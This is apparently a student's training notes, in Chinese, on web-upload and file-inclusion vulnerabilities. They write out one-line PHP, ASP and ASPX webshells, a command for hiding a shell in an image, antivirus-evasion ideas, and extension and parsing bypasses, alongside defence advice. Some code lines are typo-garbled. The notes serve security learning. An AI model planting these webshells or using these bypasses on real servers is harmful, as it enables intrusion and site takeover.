20200709信息安全实训

笔记本:	我的第一个笔记本		
创建时间:	2020/7/9 9:01	**更新时间:**	2020/7/11 8:32
作者:	820410740@qq.com		

---

wifite wifi攻防
中国菜刀 中国蚁剑

文件上传
https://blog.csdn.net/weixin_40586270/article/details/81735256
由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，因此文件上传漏洞带来的危害常常是毁灭性的
文件上传漏洞的利用是有限制的，首先当然是要能够成功上传木马文件，其次上传文件必须能够被执行，最后就是上传文件的路径必须可知
漏洞利用
首先上传一个一句话木马hcak.php 参数名（一句话木马口令）为hack
<?php @eval($_POST['hack']); ?>
上传成功后返回上传路径

成功上传 上传之后执行 无法连接 获取到路径

一句话木马（大马 小马）webshell
在很多的渗透过程中，渗透人员会上传一句话木马（简称webshell）到目前web服务目录继而提权获取系统权限，不论asp,php,jsp,aspx都是如此
最简单一句话木马
<?php $eval($_POST['attack']); ?>
基本原理：利用文件上传漏洞，往目标网站上传一句话木马，然后就可以在本地通过菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误，也不报错。eval()函数表示括号内的语句字符串什么的全部当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值

入侵条件
攻击者只要满足三个条件，就能实现成功入侵
1.木马上传成功，未被杀
2.知道木马的路径在哪
3.上传的木马能正常运行

常见形式：
常见的一句话木马：
php:<?php @eval($_POST['pass']); ?>
asp:<%eval request('pass')%>
aspx:<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
可以直接将这些语句插入到网站上的某个asp/aspx/php文件上，或者直接创建一个新的文件，在里面写入这些语句，然后把文件上传到网站上即可

基本原理：
<?php @eval($_POST['cmd']); ?>
意义：
1.php代码要写在<?php ?>里面，服务器才能认出这是php代码，然后去解析
2.@符号意思是不报错，即使是执行错误，也不报错

因为一个变量没有定义，就被拿去使用了，服务器就善意的提醒：Notice，你的xx变量没有定义，这就暴露了密码，所以加上@
3.为什么密码是cmd
php里面有几个超全局变量：$_POST、$_GET就是其中之一。$_POST['a']的意思就是a这个变量，用POST的方法接收
传输数据的两种方法，get,post，post是在消息体存放数据，get是在消息头的url路径里存放数据
4.如何理解eval()函数
eval()把字符串作为php代码执行
例如;eval("echo 'a'");其实就等于直接echo 'a';再来看看<?php eval($_P[OST['pw']); ?>首先，用post方式接受变量pw，比如接收到了:pw=echo 'a';这时代码就变成了<?php eval("echo 'a';"); ?>

连起来的意思即：用post方法接收变量pw,把变量pw里面的字符串当作php代码来执行，也就是说，你想执行什么代码，就把什么代码放进变量pw里，用post传输给一句话木马。如果你想查看硬盘里有没有某文件，可以用php函数：opendir()和readdir()等等。想上传某文件，就用php函数：move_uploaded_file,当然相应的html要写好，想执行cmd命令，则用exec().

前提是：php配置文件php.ini里，关闭安全模式safe_mode = off,然后再看看禁用函数列表disable_functions = proc_open,popen,exec,system,shell_exec，把exec去掉，确保没有exec（有些cms为了方便某些功能，会去掉）

phpinfo

白名单验证 只允许添加到白名单的使用
黑名单验证 文件上传漏洞 靶场 用到

图片木马
通常防御者都会对类型、大小进行过滤。另外，若规定是上传的图片，还会对图片进行采集，即使攻击者修改文件类型，也过不了图片采集那一关。所以，这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令，能够让一个文件融合到另一个文件后面，达到隐藏的目的
win copy 2.php/b + 1.jpg/a 666.jpg

木马免杀
就算木马能正常运行，那么过段时间会不会被管理员杀掉，作为攻击者需要会各种免杀技巧
免杀思路：
1.将源代码进行再次编译
2.将那一句话木马进行base64编码，存放在“乱七八糟”的代码中
3.还是一句话木马，进行变形，只不过，这次的变形是在数组中键值对变形

文件上传漏洞
web应用程序通常会有文件上传的功能，只要web应用程序允许上传文件，就有可能存在文件上传漏洞
大部分文件上传漏洞的产生是因为应用程序没有对上传文件的格式进行严格过滤，还有一部分攻击者是通过web服务器的解析漏洞来突破web应用程序的防护
常见的解析漏洞
1.IIS解析漏洞
https://blog.csdn.net/qq_39353923/article/details/83515616
IIS6.0 在解析文件时存在以下两个解析漏洞
 当建立 *.asa、*.asp格式的文件夹时，其目录下的任意文件都将被IIS当作asp文件来解析
 在IIS6.0下，分号后面的扩展名不会被解析，也就是说当文件为*.asp;.jpg时，IIS6.0同样会以asp脚本来执行
2.Apache解析漏洞
在Apache 1.x和Apache2.x中存在解析漏洞，但与IIS不同
Apache在解析文件时有一个规则：当碰到不认识的扩展名时，将会从后往前解析，直到碰到认识的扩展名位置，如果都不认识，则会暴露其源码
php.rar.xx.aa

Apache首先会解析aa扩展名，如果不认识就接着解析前面那的扩展名
3.PHP CGI解析漏洞
在PHP的配置文件中有一个关键的选项：cgi.fi: x_pathinfo.这个选项在某些版本是默认开启的，在开启时访问url,比如一个不存在的php文件，php会向前推进递归解析，造成解析漏洞，由于这种漏洞常见于IIS7.0、IIS7.5、Nginx等web服务器，所以常会被误认为是这些web服务器的解析漏洞
4.Nginx < 8.03空字节代码执行漏洞
影响版本：0.5，0.6，0.7<=0.7.65 0.8 <=0.9.37
Nginx在图片中嵌入PHP代码，然后通过访问xxx.jpg%00.php可以执行其中的代码
5.其他
在windows环境下，xx.jpg[空格]或xx.jpg.，这两类文件都是不允许存在的，若这样命名，windows会默认除去空格或点，攻击者可以通过抓包，在文件名后加一个空格或者点绕过黑名单，若上传成功，空格和点都会被windows自动消除，这样也可以getshell
如果在Apache中.htaccess可被执行，且可悲上传，那可以尝试在.htaccess中写入
SetHandlerapplication/x-httpd-php
然后再上传名称为shell.jpg的webshell,这样shell.jpg就可解析成php文件

文件上传漏洞防御方法
javascript FireBug 中间人攻击 检查文件上传路径 文件扩展名检测 文件MIME验证 文件内容检测 图片二次渲染 文件重命名

黑名单过滤不安全

比如一个 Web服务器为 IIS6.0,Web 语言为 asp 的网站，假定开发者使用了黑名单过滤，

过滤了 asp、 asa、 cer 等文件格式，那么可以尝试以下几种方式来绕过：

1. 大小写，比如 AsP、 cER等.

2. 被忽略的扩展名 ,IIS6.0 会把 cdx 格式的文件当成 asp 来解析 .

3. 配合解析漏洞，上传 asp;.jpg 格式文件 .

4. 如果 Web服务器开启了其他语言的支持，比如可以解析 php 文件，那么可以上传 php 格式的木马 .

5. 利用 Windows 系统自动去除 . 和空格的特性，如上传扩展名 asp. 格式的文件来绕过 .

通过以上几个例子可以看出，黑名单过滤的可靠性并不高，白名单过滤相对来说较为可靠.

白名单与黑名单的机制恰恰相反，黑名单是定义不允许上传的扩展名，白名单则是定义允许上传的扩展名，虽然采用白名单可以防御未知风险，但是不能完全依赖白名单，因为白名单不 能完全防御上传漏洞，例如各种解析漏洞等，白名单仅仅是防御上传漏洞的第一步 . 通常会结 合其他验证方式来使用，虽然不能完全防御文件上传漏洞，但也基本上规避了绝大部分风险.。

Web完整渗透测试实例https://blog.csdn.net/yi_jin_ke_tang/article/details/95043385

文件包含漏洞学习总结https://www.jianshu.com/p/3514f0fd79f7

文件解析漏洞
web服务器对http请求处理不当将非可执行的脚本，文件当作可执行的脚本执行

文件包含
引入文件包含函数将文件包含进来
漏洞成因：
在包含文件时，为了灵活包含文件，将被包含文件设置为变量，通过动态变量来引入需要包含的文件时，用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被通过，这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中

PHP文件包含的函数
include()
当使用该函数包含文件时，只有代码执行到include()函数时才将文件包含进来，发生错误时只给出一个警告，继续向下执行
include_once()
功能与include（）相同，区别在于当重复调用同一文件时，程序只调用一次
require()
require()与include()的区别在于require()执行如果发生错误，函数会输出错误信息，并终止脚本的运行
require_once()
功能与require()相同，区别在于当重复调用同一文件时，程序只调用一次

文件包含漏洞分类
本地文件包含漏洞 当包含的文件在服务器本地时，就形成了本地文件包含
web安全原理-文件包含漏洞https://www.cnblogs.com/xhds/p/12216170.html

%00截断

一般会是文件包含和文件上传打组合拳
中国菜刀原理：向上传文件发送包含hack参数的post请求，通过控制ack参数来执行不同的命令

http状态码
ADMINSESSIONIDCSTRCSDQ=LBMLMBCCNPFINOANFGLPCFBC